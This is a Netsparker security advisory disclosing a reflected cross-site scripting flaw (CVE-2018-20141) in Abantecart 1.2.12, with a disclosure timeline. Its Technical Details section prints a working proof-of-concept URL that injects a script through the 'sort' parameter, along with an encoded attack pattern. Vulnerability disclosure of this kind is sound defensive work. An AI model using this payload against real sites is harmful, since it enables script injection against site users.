Cross-site Scripting Vulnerability in Abantecart 1.2.12

Information
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Advisory by Netsparker
Name: Reflected Cross-site Scripting in Abantecart 1.2.12
Affected Software: Abantecart
Affected Versions: 1.2.12
Homepage: http://www.abantecart.com/
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-20141
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Netsparker Advisory Reference: NS-18-049

Technical Details
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URL: http://{domain}/{abantecart_path}/apparel--accessories?sort=%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Ealert%280x003134%29%3C%2FscRipt%3E  
Parameter Name: sort
Parameter Type: GET
Attack Pattern:   %2527%2522--%253E%253C%252Fstyle%253E%253C%252FscRipt%253E%253CscRipt%253Enetsparker%25280x003134%2529%253C%252FscRipt%253E

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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12th November 2018 - First Contact
13th December 2018 - Vendor Fixed
23th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Amer Aitak while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.